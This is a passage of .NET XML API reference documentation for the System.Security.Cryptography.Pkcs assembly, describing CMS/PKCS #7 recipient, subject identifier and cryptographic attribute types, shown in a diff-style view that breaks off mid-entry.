<summary>The <see cref="M:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.RecipientInfoEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the current recipient information structure in the <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.RecipientInfoType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfoType"></see> enumeration defines the types of recipient information.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyAgreement">
<summary>Key agreement recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.KeyTransport">
<summary>Key transport recipient information.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.RecipientInfoType.Unknown">
<summary>The recipient information type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that identifies the type of subject.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property retrieves the value of the subject identifier. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property to determine the type of subject identifier, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifier.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey"></see> class defines the type of the identifier of a subject, such as a <see cref="T:System.Security.Cryptography.Pkcs.CmsSigner"></see> or a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see>. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration that specifies the type of subject identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property retrieves the value of the subject identifier or key. Use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property to determine the type of subject identifier or key, and use the <see cref="P:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Value"></see> property to retrieve the corresponding value.</summary>
<returns>An <see cref="System.Object"></see> object that represents the value of the subject identifier or key. This <see cref="System.Object"></see> can be one of the following objects as determined by the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property.
<see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierOrKey.Type"></see> property
Object
IssuerAndSerialNumber
<see cref="System.Security.Cryptography.Xml.X509IssuerSerial"></see> SubjectKeyIdentifier
<see cref="System.String"></see> PublicKeyInfo
<see cref="System.Security.Cryptography.Pkcs.PublicKeyInfo"></see></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType"></see> enumeration defines how a subject is identified.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.PublicKeyInfo">
<summary>The subject is identified by the public key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject key.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierOrKeyType.Unknown">
<summary>The type is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration defines the type of subject identifier.</summary>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.IssuerAndSerialNumber">
<summary>The subject is identified by the certificate issuer and serial number.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.NoSignature">
<summary>The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.SubjectKeyIdentifier">
<summary>The subject is identified by the hash of the subject&amp;#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&amp;#39;s certificate.</summary>
<returns></returns>
</member>
<member name="F:System.Security.Cryptography.Pkcs.SubjectIdentifierType.Unknown">
<summary>The type of subject identifier is unknown.</summary>
<returns></returns>
</member>
<member name="T:System.Security.Cryptography.Xml.X509IssuerSerial">
<summary>Represents the &amp;lt;X509IssuerSerial&amp;gt; element of an XML digital signature.</summary>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.IssuerName">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s distinguished name.</summary>
<returns>An X.509 certificate issuer&amp;#39;s distinguished name.</returns>
</member>
<member name="P:System.Security.Cryptography.Xml.X509IssuerSerial.SerialNumber">
<summary>Gets or sets an X.509 certificate issuer&amp;#39;s serial number.</summary>
<returns>An X.509 certificate issuer&amp;#39;s serial number.</returns>
</member>
</members>
</doc>

View File

@ -0,0 +1,760 @@
<?xml version="1.0" encoding="utf-8"?><doc>
<assembly>
<name>System.Security.Cryptography.Pkcs</name>
</assembly>
<members>
<member name="T:System.Security.Cryptography.CryptographicAttributeObject">
<summary>Contains a type and a collection of values associated with that type.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObject.#ctor(System.Security.Cryptography.Oid,System.Security.Cryptography.AsnEncodedDataCollection)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> class using an attribute represented by the specified <see cref="T:System.Security.Cryptography.Oid"></see> object and the set of values associated with that attribute represented by the specified <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection.</summary>
<param name="oid">The attribute to store in this <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object.</param>
<param name="values">The set of values associated with the attribute represented by the oid parameter.</param>
<exception cref="T:System.InvalidOperationException">The collection contains duplicate items.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Oid">
<summary>Gets the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the attribute.</summary>
<returns>The object identifier for the attribute.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObject.Values">
<summary>Gets the <see cref="T:System.Security.Cryptography.AsnEncodedDataCollection"></see> collection that contains the set of values that are associated with the attribute.</summary>
<returns>The set of values that is associated with the attribute.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectCollection">
<summary>Contains a set of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.#ctor(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> class, adding a specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> to the collection.</summary>
<param name="attribute">A <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object that is added to the collection.</param>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.AsnEncodedData)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to the collection.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Add(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Adds the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to add to the collection.</param>
<returns>true if the method returns the zero-based index of the added item; otherwise, false.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">The specified item already exists in the collection.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.CopyTo(System.Security.Cryptography.CryptographicAttributeObject[],System.Int32)">
<summary>Copies the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> objects that the collection is copied to.</param>
<param name="index">The zero-based index in array to which the collection is to be copied.</param>
<exception cref="T:System.ArgumentException">One of the arguments provided to a method was not valid.</exception>
<exception cref="T:System.ArgumentNullException">null was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Count">
<summary>Gets the number of items in the collection.</summary>
<returns>The number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.GetEnumerator">
<summary>Gets a <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object for the collection.</summary>
<returns>true if the method returns a <see cref="System.Security.Cryptography.CryptographicAttributeObjectEnumerator"></see> object that can be used to enumerate the collection; otherwise, false.</returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.Item(System.Int32)">
<summary>Gets the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the zero-based index of the <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to retrieve.</param>
<returns>The <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object at the specified index.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.Remove(System.Security.Cryptography.CryptographicAttributeObject)">
<summary>Removes the specified <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the collection.</summary>
<param name="attribute">The <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="attribute">attribute</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>Copies the elements of this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection to an <see cref="T:System.Array"></see> array, starting at a particular index.</summary>
<param name="array">The one-dimensional <see cref="T:System.Array"></see> array that is the destination of the elements copied from this <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see>. The <see cref="T:System.Array"></see> array must have zero-based indexing.</param>
<param name="index">The zero-based index in array at which copying begins.</param>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>Returns an enumerator that iterates through the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>An <see cref="System.Collections.IEnumerator"></see> object that can be used to iterate through the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.CryptographicAttributeObjectEnumerator">
<summary>Provides enumeration functionality for the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection. This class cannot be inherited.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.MoveNext">
<summary>Advances the enumeration to the next <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object; false if the enumerator is at the end of the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.Reset">
<summary>Resets the enumeration to the first <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object in the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.CryptographicAttributeObjectEnumerator.System#Collections#IEnumerator#Current">
<summary>Gets the current <see cref="T:System.Security.Cryptography.CryptographicAttributeObject"></see> object from the <see cref="T:System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObject"></see> object that represents the current cryptographic attribute in the <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class defines the algorithm used for a cryptographic operation.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class by using a set of default parameters.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.#ctor(System.Security.Cryptography.Oid,System.Int32)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> class with the specified algorithm identifier and key length.</summary>
<param name="oid">An object identifier for the algorithm.</param>
<param name="keyLength">The length, in bits, of the key.</param>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.KeyLength"></see> property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length.</summary>
<returns>An int value that represents the key length, in bits.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.AlgorithmIdentifier.Oid"></see> property sets or retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that specifies the object identifier for the algorithm.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that represents the algorithm.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipient">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class defines the recipient of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient certificate.</summary>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipient.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2)"></see> constructor constructs an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class by using the specified recipient identifier type and recipient certificate.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</param>
<param name="certificate">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that represents the recipient certificate.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.Certificate"></see> property retrieves the certificate associated with the recipient.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2"></see> object that holds the certificate associated with the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipient.RecipientIdentifierType"></see> property retrieves the type of the identifier of the recipient.</summary>
<returns>A member of the <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of the identifier of the recipient.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class represents a set of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> implements the <see cref="T:System.Collections.ICollection"></see> interface.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds the specified recipient.</summary>
<param name="recipient">An instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> class that represents the specified CMS/PKCS #7 recipient.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.#ctor(System.Security.Cryptography.Pkcs.SubjectIdentifierType,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients.</summary>
<param name="recipientIdentifierType">A member of the <see cref="T:System.Security.Cryptography.Pkcs.SubjectIdentifierType"></see> enumeration that specifies the type of subject identifier.</param>
<param name="certificates">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that contains the certificates that identify the recipients.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Add(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method adds a recipient to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to add to the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Int32"></see> value that represents the zero-based position where the recipient is to be inserted.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Array,System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to an array.</summary>
<param name="array">An <see cref="T:System.Array"></see> object to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index in array where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.CopyTo(System.Security.Cryptography.Pkcs.CmsRecipient[],System.Int32)"></see> method copies the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection to a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> array.</summary>
<param name="array">An array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects where the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is to be copied.</param>
<param name="index">The zero-based index for the array of <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> objects in array to which the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection is copied.</param>
<exception cref="T:System.ArgumentException">
<paramref name="array">array</paramref> is not large enough to hold the specified elements.
-or-
<paramref name="array">array</paramref> does not contain the proper number of dimensions.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="array">array</paramref> is null.</exception>
<exception cref="T:System.ArgumentOutOfRangeException"><paramref name="index">index</paramref> is outside the range of elements in <paramref name="array">array</paramref>.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Count"></see> property retrieves the number of items in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>An <see cref="System.Int32"></see> value that represents the number of items in the collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Item(System.Int32)"></see> property retrieves the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index in the collection.</summary>
<param name="index">An <see cref="T:System.Int32"></see> value that represents the index in the collection. The index is zero based.</param>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object at the specified index.</returns>
<exception cref="T:System.ArgumentOutOfRangeException">The value of an argument was outside the allowable range of values as defined by the called method.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.Remove(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method removes a recipient from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient to remove from the collection.</param>
<exception cref="T:System.ArgumentNullException"><paramref name="recipient">recipient</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#IsSynchronized">
<returns></returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#ICollection#SyncRoot">
<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator">
